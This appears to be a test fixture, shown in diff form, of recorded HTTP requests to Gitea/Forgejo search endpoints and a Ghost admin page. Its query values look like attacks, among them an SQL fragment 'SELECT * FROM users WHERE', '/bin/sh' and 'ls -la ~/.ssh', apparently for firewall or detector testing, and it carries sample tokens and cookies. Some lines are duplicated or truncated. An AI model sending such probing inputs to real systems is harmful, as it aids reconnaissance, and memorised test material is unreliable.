{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
|
||||||
|
# 17.0.1. Each searches for words that name commands and files, such as python3
|
||||||
|
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
||||||
|
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
||||||
|
# search of unadopted repositories takes an owner and a name.
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||||
@@ -533,6 +533,8 @@
|
|||||||
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess 